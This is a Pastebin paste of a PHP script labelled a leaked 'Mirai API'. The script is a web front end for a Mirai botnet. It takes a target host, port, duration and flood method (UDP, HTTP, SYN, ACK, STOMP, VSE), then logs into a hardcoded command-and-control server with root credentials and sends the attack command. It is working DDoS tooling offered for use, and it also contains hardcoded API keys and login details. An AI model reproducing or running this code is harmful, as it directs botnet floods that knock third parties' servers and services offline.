Advertisement
Guest User

mirai php api

a guest
May 26th, 2018
201
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.48 KB | None | 0 0
  1. <?php
  2. error_reporting(E_ALL);
  3.  
  4.  
  5. /*
  6.  
  7. Mirai API by the only one Axiga - Leaked
  8.  
  9. */
  10.  
  11.  
  12.  
  13. // API Keys
  14.  
  15. $APIKeys = array("dankmemes", "weed");
  16.  
  17.  
  18.  
  19. // VALID attack methods
  20.  
  21. $attackMethods = array("RAWUDP", "HTTP", "STOMP", "DNS", "VSE", "SYN", "ACK");
  22.  
  23. // I'm so gay
  24.  
  25. function htmlsc($string)
  26.  
  27. {
  28.  
  29. return htmlspecialchars($string, ENT_QUOTES, "UTF-8");
  30.  
  31. }
  32.  
  33. // Check if all parameters are passed
  34.  
  35. if (!isset($_GET["key"]) || !isset($_GET["host"]) || !isset($_GET["port"]) || !isset($_GET["method"]) || !isset($_GET["time"]))
  36.  
  37. die("You are missing a parameter");
  38.  
  39. // Variables for attack
  40.  
  41. $key = htmlsc($_GET["key"]);
  42.  
  43. $host = htmlsc($_GET["host"]);
  44.  
  45. $port = htmlsc($_GET["port"]);
  46.  
  47. $method = htmlsc(strtoupper($_GET["method"]));
  48.  
  49. $time = htmlsc($_GET["time"]);
  50.  
  51. $command = "";
  52.  
  53. // Check if API key is valid
  54.  
  55. if (!in_array($key, $APIKeys)) die("Invalid API key");
  56.  
  57. // Check if attack method is valid
  58.  
  59. if (!in_array($method, $attackMethods)) die("Invalid attack method");
  60.  
  61. // Set command for method (should really use a switch() statement but who cares?)
  62.  
  63. if ($method == "UDP") $command = "udpplain $host $time len=65500 rand=1 dport=$port\r\n";
  64.  
  65. else if ($method == "HTTP") $command = "http $host $time dport=$port domain=$host path=/ conns=200\r\n";
  66.  
  67. else if ($method == "SYN") $command = "syn $host $time dport=$port\r\n";
  68.  
  69. else if ($method == "ACK") $command = "ack $host $time dport=$port\r\n";
  70.  
  71. else if ($method == "STOMP") $command = "stomp $host $time dport=$port\r\n";
  72.  
  73. else if ($method == "VSE") $command = "vse $host $time dport=$port\r\n";
  74.  
  75. // Add other methods if you need them, I'm sure you're capable of doing that (I hope)
  76.  
  77. // Connect
  78.  
  79. $socket = fsockopen("159.65.90.111", "81"); // Example: $socket = fsockopen("1.2.3.4", "23");
  80.  
  81. ($socket ? null : die("Failed to connect"));
  82.  
  83. // Login
  84.  
  85. fwrite($socket, " \r\n"); // Leave This.
  86.  
  87. sleep(3);
  88.  
  89. fwrite($socket, "root\r\n"); // Username
  90.  
  91. sleep(3);
  92.  
  93. fwrite($socket, "1337\r\n"); // Password
  94.  
  95. // Send command
  96.  
  97. sleep(4); // Why? I've noticed for some people it doesn't work w/o the sleep() (or anything before fwrite()ing $command)!
  98.  
  99. fwrite($socket, $command);
  100.  
  101. // Close connection
  102.  
  103. fclose($socket);
  104.  
  105. // Say the attack has been sent
  106.  
  107. echo "Attack sent to $host:$port for $time seconds using method $method!\n";
  108.  
  109. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement